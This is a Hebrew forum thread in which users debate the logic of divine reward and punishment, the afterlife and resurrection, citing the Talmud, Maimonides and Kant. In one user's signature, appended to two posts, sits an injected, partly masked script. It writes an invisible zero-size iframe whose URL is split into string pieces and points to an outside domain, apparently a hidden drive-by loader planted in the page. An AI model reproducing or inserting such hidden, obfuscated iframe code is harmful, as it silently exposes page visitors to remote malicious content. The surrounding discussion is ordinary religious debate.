בית פורומים עצור כאן חושבים

שכר לצדיקים ועונש לרשעים - מה הקשר?

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-25/6/2012 22:05 לינק ישיר 
שכר לצדיקים ועונש לרשעים - מה הקשר?


דבר פשוט ומקובל בכל הספרים שחיי העולם הבא והטוב הצפון לצדיקים, הכל הוא "שכר" המעשים הטובים ובחירת הטוב. כמ"ש מה רב טובך אשר צפנת ליראיך פעלת לחוסים בך, ועוד.


האם משהו יכול להסביר קשר (לוגי) בין ההטבה לבין הבחירה בטוב. למה אדם שבחר בטוב והיה צדיק "מגיע" לו שכר לנצח. וכן למה אדם שבחר בלא טוב ונעשה רשע "לא מגיע" לו להנות לנצח?

בשלמא שכר ועונש בעולם הזה, הם על דרך זרוז והרתעה. יש ענין שיהיו טובים ולא רעים (ולא נכנס כרגע מהו הענין), הדרך המקובלת לזה היא הטבות לטובים וענישה לרעים, וכך אם לא יהיו צדיקים בבחירה יהיו צדיקים בכפיה (ולא נכנס מה התועלת בכפיה לטוב). אבל כשמדברים על "טוב נצחי" אם מישהו חפץ להיטיב לנו, מה לו שהיינו פה רשעים?! האם נקמה או אכזבה הם המנחות אותו? כי אם לא אז מה שהיה היה, כרגע כולם עומדים לפניו צדיקים כרשעים ואם חפץ להיטיב שיטיב לכולם.

השתכרות וענישה אנושיים, הם בסיבות מידות נפש כמו לקיחת נקמה, הבעת אכזבה, זרז לעבודה, שביעות רצון. אבל אין קשר אמיתי בין הצדיק לבין שכרו ובין הרשע לבין פורענותו (מה פתאום שיגיע משהו טוב לצדיק כי בחר בטוב, ומה פתאום שיגיע משהו רע לרשע כי בחר ברע)
האם ישנם מידות אלו בבורא?



דווח על תוכן פוגעני

מחובר
נשלח ב-1/7/2012 21:19 לינק ישיר 

למה היית מבקש שזה יהיה כתוב במפורש? מה לי תורה שבכתב מה לי תורה שבע"פ?

אופן הלימוד של חז"ל את הפסוקים אכן תמוה גם בעייני ואיני מבינו כלל. כמעט בכל דף גמ' יש איזה לימוד לא ברור מהפסוקים. אני משתתף בתמיהתך.



דדווח על תוכן פוגעני

מחובר
נשלח ב-1/7/2012 11:10 לינק ישיר 

מבקש-
הלכה למשה מסיני נאמר רק על מה שאין לו שום רמז או איזכור מקרא.

ויש להוסיף גם אי אפשר ללמוד אותה מהדרכים שהתורה נדרשת בהם.

מבקש אני היתי וגם מבקש שדברים כה אקוטיים  כמו תחיית המתים ועולם הבא יהו כתובים בברור ולא ברמזי שערה עם בכלל.  וודאי לא לבסס את הרמזים הללו אל הבנה מוטעת בפסוק מהתורה.
למשל חז"ל לומדים על תחיית המתים מהפסוק

דברים פרק לא

 וַיֹּאמֶר יְקֹוָק אֶל מֹשֶׁה הִנְּךָ שֹׁכֵב עִם אֲבֹתֶיךָ וְקָם הָעָם הַזֶּה וְזָנָה אַחֲרֵי אֱלֹהֵי נֵכַר הָאָרֶץ אֲשֶׁר הוּא בָא שָׁמָּה בְּקִרְבּוֹ וַעֲזָבַנִי וְהֵפֵר אֶת בְּרִיתִי אֲשֶׁר כָּרַתִּי אִתּוֹ:




דדווח על תוכן פוגעני

מנותק
נשלח ב-1/7/2012 00:17 לינק ישיר 

ירוחם

הלכה למשה מסיני נאמר רק על מה שאין לו שום רמז או איזכור מקרא.
עיין עירובין ד שם הגמ' שואלת מדוע שיעורין חציצה ומחיצה זה הלכה למשה מסיני הרי זה רמוז בתורה?
והיא מביאה רמזים דקים מאד. רמזים ברמה כזאת שאפשר למצוא גם לעולם הבא. 



דדווח על תוכן פוגעני

מחובר
נשלח ב-30/6/2012 23:37 לינק ישיר 

האם לא כל אדם מרגיש שיש בו משהו יותר מחמשה חושים?
שה'אני' לא מסתכם רק באיברים שלו?
אולי הבעיה אצלי...


מקס,

גם הדוגמא עם האישה היפה עדיין תלויה בעולם הגשמי. לולי האישה היפה - הגשמית, לא הייתה הנאה.
אתה רוצה דוגמא 100% רוחנית?
אמונה, יחוד ה', אהבה, יראה.



דדווח על תוכן פוגעני

מחובר
נשלח ב-30/6/2012 23:01 לינק ישיר 

הרב מימוני
אבל בתורה הוא הקציב את שנות חיי האדם ל120
את כל הגמול על מעשיו ומחדליו הוא גם פירט במדויק- לפרט ולכלל.
יש זמן ויש גמול בתוך הזמן הקצוב.

דבר אחד אני מסכים בפילוסופיה ובדמיון  הכל אפשרי. אבל במציאות לא



דדווח על תוכן פוגעני

מנותק
נשלח ב-30/6/2012 22:52 לינק ישיר 

ירוחם

שאלת איך יכולים ילודי אשה להתיימר לדעת מה הקב"ה קובע עבורנו לעולם הבא, לאחר שנמות.

באמת איך?

יש כמה מקורות להשערות כאלו.

האחד הוא הידע הכללי שהיה קיים בסביבה: ייראה לי שהשאלה הזו, שבימינו נחשבת למשהו פילוסופי-מטפיזי-דתי שאי אפשר להכריע בו, היתה פעם נכללת בין הידע הכללי, המדעי למחצה, שלא היו בו אבחנות כשלנו בין מדע למטפיזיקה. המתים אינם מפסיקים להתקיים לגמרי אלא מנהלים חיים ברמה נחותה בעולם המתים שנמצא מתחת לאדמה. כך האמינו באומות השכנות לעם ישראל בימי המקרא, וכך עולה לכאורה מקטעי פסוקים. התורה לא דנה במפורש בשאלה זו, ואפשר להעלות השערות מנוגדות: האם התורה סבורה שאין כלל חיים לאחר המוות, אבל לא כתבה זאת במפורש כדי לא לזעזע יותר מדי, או שהתורה מניחה את האמונה על מקומה כיון שהיא נכונה?

מקור שני הוא האינטואיציה המוסרית שלנו. אפשר שהיא נכונה ואפשר שלא. כמדומה שעמנואל קנט, הפילוסוף הגוי, ביטא אותה היטב כאשר כתב כי כיון שחיינו בעולם הזה קצרים ולא הכי מאושרים, המוסר שמחייב גמול מחייב גם מקום וזמן של גמול, ולכן צריך עולם הבא. זה לא מלמד מה יהיה טיבו, אבל זה מחייב שיהיה כזה. וכיון שיש אלוקים שהוא בעל חכמה ורצון טוב (כתארי מהות או כתארי פעולה?) אז אפשר לסמוך שהוא יקיים את המחוייבות הזו.

אפשר להתווכח על שני מקורות מידע אלו. אבל אפשר גם להבין את מי שיסתמך עליהם.

___נוספו כמה מילות הבהרה.______________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



תוקן על ידי מיימוני ב- 30/06/2012 22:52:37




דדווח על תוכן פוגעני

מנותק
נשלח ב-30/6/2012 22:07 לינק ישיר 

maxmen כתב:
קודם כל זה לא רמז עלוב זה סיפור משמעותי בהשתתפות מלך ישראל הראשון ועם גדול הנביאים אחרי
משה רבינו ומנהיג בעצמו.
ולגבי מה קורה שם
הנה מדרש חז"ל
ויאמר שמואל אל שאול למה הרגזתני להעלות אותי
ר' אלעזר כי הוה מטי להאי קרא בכי:

ומה שמואל הנביא היה מתירא מיום הדין, אנו על אחת כמה וכמה.



החז"ל הזה דווקא סותר את החיים אחרי המוות,
הרי החז"ל הזה הלך בחשיבה של תחית המתים ויום הדין הגדול, כלומר מתים\ישנים עד יום הדין הגדול שתהיה אחרי תחית המתים,

זה הרי אחד מהבילבולים שהרמב"ם מכוון עליו בפירושו בפרק חלק (במשניות) בסנהדרין,
היית דעה שהשכר והעונש והגמול תהיה מתי שהוא שאז כולם יתעוררו מקברם, צדיקים ורשעים כולם יקומו, ויהיה יום הדין הגדול,
משמע מהחשיבה הזו שאין כלום אחרי המות כלומר כל הדורות עד ימינו לא חיים עכשיו, אפשר על פי פשוטו של החז"ל הזה רק להעיר אותם כמו שירמיהו העיר את האבות ואת משה בזמן חורבן הבית, וזה הפשט של טענת שמואל למה "הרגזתני" = מדוע הערתה אותי משנתי לריק אם עכשיו לא יום הדין הגדול, 

האמונה שיש חיים אחרי המוות ויש גן עדן וגהינם עכשיו מיד שמתים, סותרת לגמרי אלפי חז"לים, הרי בשביל מה תחית המתים ובשביל מה יום הדין הגדול אם כולם נידונים מיד אחרי מותם,

תוקן על ידי maxmen ב- 29/06/2012 10:38:58



לא יודע על איזה חז"לים אתה מדבר הנה משהו שלא ניתן לשום פרשנות של אחר תחיית המתים

נאמר בגמרא במסכת בבא בתרא דף י' עמוד ב':
"יוסף בריה דרבי יהושע חלש [חלה] אינגיד [מת].
[אחר כך קם מן המתים] אמר ליה אבוה [אמר לו אביו] מאי חזית [מה ראית. בעולם העליון]?
אמר ליה [אמר לו] עולם הפוך ראיתי עליונים למטה ותחתונים למעלה. [רש"י: עליונים למטה. אותם שהם עליונים כאן מחמת עושרן ראיתי שם שהם למטה. ותחתונים למעלה. ראיתי עניים שהם בינינו שפלים שם ראיתים חשובים].
אמר ליה [רבי יהושע לבנו] עולם ברור ראית.
ואנן היכי חזיתינן [רבי יהושע שאל את בנו, אנחנו תלמידי חכמים כיצד ראית אותנו?]
אמר ליה כי היכי דחשבינן הכא חשבינן התם [כמו שאנו חשובים ונכבדים כאן כך אנו חשובים ונכבדים שם]".



דדווח על תוכן פוגעני

מחובר
נשלח ב-29/6/2012 11:16 לינק ישיר 

הרב מימוני
כאן יש להבין את הגמול במובן הפשטני למדי שמקובל היום, נניח אצל הרמח"ל (שאינו פשטני). העולם הזה הוא עולם הנסיון. יש מקצת גמול בעולם הזה והעיקר לעולם הבא (בין בעולם הנשמות בין בתחית המתים).



האם אתה לא חושב שזו יומרנות- מכל ילוד אשה לקבוע ולדעת איך הקב"ה  נותן גמול,
זולתי ממה שכתוב בתורה. הרי אנחנו מאמינים שה' הוא נותן התורה. ואין הרי כל הגיו אנושי ולא אנשי שבדיוק את מעשי הגמול וצורתו וזמנו יסתיר מאתנו וישאיר את בידי אנשים כמוך וכמוני -לספר לנו.
מה עוד הרי בתורה כתוב בפרוש צורת הגמול. כל דעה אחרת הרי סותרת  על פניו את מה שכתוב בתורה.
התורה שאנחנו מאמינים כי  מה' הוא. וכל מה שנכתב בו אמת.
 האם משה אמת ותרתו אמת אינו משפט נכון?



דדווח על תוכן פוגעני

מנותק
נשלח ב-29/6/2012 10:34 לינק ישיר 

דייר כתב:
קודם כל זה לא רמז עלוב זה סיפור משמעותי בהשתתפות מלך ישראל הראשון ועם גדול הנביאים אחרי
משה רבינו ומנהיג בעצמו.
ולגבי מה קורה שם
הנה מדרש חז"ל
ויאמר שמואל אל שאול למה הרגזתני להעלות אותי
ר' אלעזר כי הוה מטי להאי קרא בכי:

ומה שמואל הנביא היה מתירא מיום הדין, אנו על אחת כמה וכמה.



החז"ל הזה דווקא סותר את החיים אחרי המוות,
הרי החז"ל הזה הלך בחשיבה של תחית המתים ויום הדין הגדול, כלומר מתים\ישנים עד יום הדין הגדול שתהיה אחרי תחית המתים,

זה הרי אחד מהבילבולים שהרמב"ם מכוון עליו בפירושו בפרק חלק (במשניות) בסנהדרין,
היית דעה שהשכר והעונש והגמול תהיה מתי שהוא שאז כולם יתעוררו מקברם, צדיקים ורשעים כולם יקומו, ויהיה יום הדין הגדול,
משמע מהחשיבה הזו שאין כלום אחרי המות כלומר כל הדורות עד ימינו לא חיים עכשיו, אפשר על פי פשוטו של החז"ל הזה רק להעיר אותם כמו שירמיהו העיר את האבות ואת משה בזמן חורבן הבית, וזה הפשט של טענת שמואל למה "הרגזתני" = מדוע הערתה אותי משנתי לריק אם עכשיו לא יום הדין הגדול, 

האמונה שיש חיים אחרי המוות ויש גן עדן וגהינם עכשיו מיד שמתים, סותרת לגמרי אלפי חז"לים, הרי בשביל מה תחית המתים ובשביל מה יום הדין הגדול אם כולם נידונים מיד אחרי מותם,

תוקן על ידי maxmen ב- 29/06/2012 10:38:58




דדווח על תוכן פוגעני

מנותק
נשלח ב-29/6/2012 10:28 לינק ישיר 

מה שמעניין שבעולם הזה מעודדים את ה"פרושים" להתנזר כמה שיותר מהנאות ותאוות העולם (המותרות) תמורת הבטחה שבעולם הבא יהיה להם הרבה יותר.. הנאות ותאוות...  אז מי כאן הבעל תאווה הגדול יותר?   =)

(אם ההנאות האלה כ"כ חשובות (והן המטרה, אולי) למה לא לנצל אותן גם בעולם הזה?)



דדווח על תוכן פוגעני

סמל אישי
מנותק
נשלח ב-29/6/2012 10:16 לינק ישיר 

דייר כתב:
יש את העלאת שמואל באוב שאפשר ללמוד ממנה שיש חיים אחר המוות.


ראה מה האבן עזרא אומר בעניין העלת שמואל באוב



דדווח על תוכן פוגעני

מנותק
נשלח ב-29/6/2012 10:05 לינק ישיר 

יש כאן שני ענינים.

א. מהי תורת הגמול, העולם הבא, הנשמה והגוף וכו' אצל חז"ל ואצל חכמי ורבני ישראל במשך הדורות.

זו שאלה של מערכת אמונות (מה האמינו ומה לא), של היסטוריה (האם יש שינויים והתפתחות באמונות, ומתי מופיעה כל אמונה ואמונה)

ב. וזו שאלה של דיוק: מה נכון ומה לא. מהו האדם? גוף? נפש? גם וגם?

ג. ויש עוד שאלה שממנה פתח בעל האשכול, וזו היתה שאלה חדשה עד כמה שידוע לי. השאלה הזו התמקדה בנושא מאד מדוייק ומצומצם, אם גם יש לו הנחות יסוד שניתן לערער עליהן - וערערו עליהן.

וחבל שהנושא של ג' הלך לאיבוד.

אנסה לענות לשאלות של א', התפתחות היסטורית.

יש לנו כמה אמונות שהפכו לאמונות יסוד, ויש מערערים גם עליהן (סעיף ב') וגם על ייחוסן "אחורה".

האם האדם הוא באמת גוף ונשמה?

ואיך חז"ל השתמשו במונחים אלו? ואיך הם משמשים במקרא?

יש כאן כמה הנחות יסוד לביקורת על הגישה התמימה שסוברת כי החל מבריאת העולם היה האדם גוף ונשמה - ואולי שנאבקו זה בזו - וכולם ידעו זאת והאמינו בזאת.

ניתוח זהיר של שימושי הלשון ושל האמירות המופיעות אצל חז"ל, ובתנ"ך, יכול לזהות כי:

המילים המשמשות לתיאור האדם אינן תומכות בחלוקה גוף מול נפש, התפיסה של גוף ונפש כמקובל בעולם המודרני (לא החילוני אלא הדתי ובעיקר הנוצרי) הנאבקים ביניהם, כאשר הנפש היא משכן הטוב והשכל והגוף הוא משכן החומריות והרע -  תפיסות אלו אינן מוקדמות ואין חובה לטעון שהן נכונות.

התפתח דיון סביב שאלות אלו, שהן חשובות ומוצדקות, ואמנם ההוכחות שהובאו לצד מן הצדדים היו ארעיות. כמדומה שמתוך כך שיש שימושי לשון אחדים שאינם תומכים בחלוקות מאוחרות של הנפש והגוף או בתפיסות מאוחרות אחרות עדיין אין הוכחה מלאה שהחלוקות הללו באמת מאוחרות. צריך לבחון את כל אירועי הלשון. זה לא נעשה. זה כן מסוקר באותו ספר של ישי רוזן צבי באוניברסיטה משודרת, אם כי היו מחקרים לפניו, הוא האחרון שבהם, נוח לקריאה ומדוייק ממש ברובו. אם כי חלק ניכר ממה שהוא כותב ייראה בלתי אפשרי מראש למי שהתרגל לייחס דעות של אחרונים לראשונים.

וכל זה אינו שייך לנושא הראשון, שהיה:

האם התיאוריה של גמול, שכר ועונש, שניתן בידי ה' לבני אדם לפי הנהגתם, היא תיאוריה סבירה.

כאן יש להבין את הגמול במובן הפשטני למדי שמקובל היום, נניח אצל הרמח"ל (שאינו פשטני). העולם הזה הוא עולם הנסיון. יש מקצת גמול בעולם הזה והעיקר לעולם הבא (בין בעולם הנשמות בין בתחית המתים).

האמנם תיאוריה כזו שעיקר התכלית הוא לבחון בני אדם בניסויים ולתת להם על זה משכורת או עונש, זו תיאוריה סבירה לפי מושגי התרבות שלנו?

אפשר לטעון שכן, מפני שמי שאינו מבין זאת התרחק מן התפיסה הפשוטה והאמיתית של פעם.

אפשר לטעון שהתפיסה של גמול אכן היא יותר עממית ואולי אפילו פרימיטיבית, גם אם גדולי היהדות האמינו בה וקיבלו אותה.

שתי אפשרויות אלו נבחנו גם הן באשכול, אם כי לא בהיקף שהיה מניח את הדעת.

וכמדומה שעדיף לנצל את האשכול לבחינת שאלה ראשונה ואחרונה זו.

האם תפיסת הגמול היא משל ושק"ש (=שקר קדוש, אמונה הכרחית כלשון הרמב"ם) או אחד מעקרונות המציאות וההנהגה?

מה הן הנחות היסוד שמאפשרות לנו לקבוע לפי הבנתנו ותחושתנו אם תפיסת גמול כזו או אחרת היא פרימטיבית, סבירה, רציונלית, רציונליסטית?

הגענו לעמוד הששי של האשכול. ובחזרה להתחלה. אבל ייאמר כי לפעמים הכשרת הקרקע לדיון היא עצמה עבודה חשובה.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-29/6/2012 00:17 לינק ישיר 

לפי חזל הריח הוא הנאה שר ק הנשמה נהנית ממנו ולא הגוף ,
כשמדברים על השארת הנפש היא כוללת את הנפש ואת הנשמה ואין בהכרח ששניהם יהיו ממוקמים באותו מקום,
זה שהנשמה או הנפש הם הא נ י ,אינו אמונה אלא מציאות ולא ראיתי חולקים עליה באף דת וגזע,
ותנוח דעתך שיש שיטות שמייחסים גם הנאות גופניות בעלמא דקשוט,



דדווח על תוכן פוגעני

מחובר
נשלח ב-28/6/2012 23:58 לינק ישיר 

לפי חז"ל הדבר היחיד שמהנה את הנשמה זה בושם.

אבל מעודד מאד להאמין כי אתה באמת מאמין, כי האני שלך- זו הנשמה שלך ולא אתה.
הגוף שלך סובל והנשמה נהנת. אתה לא חושב שלגוף גם מגיע איזה ביס- ושלוק.



דדווח על תוכן פוגעני

מנותק
נשלח ב-28/6/2012 23:48 לינק ישיר 

מי שנהנה זה אתה [נפשך ,,נשמתך,,האני שבך]והוא ימשיך להנות אם........
בעולם הזה הגוף החי אינו אלא היכי תימצי כדי שהנפש תהנה,,וכו,



דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > שכר לצדיקים ועונש לרשעים - מה הקשר?
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 3 ... 5 6 7 לדף הבא סך הכל 7 דפים.

bholext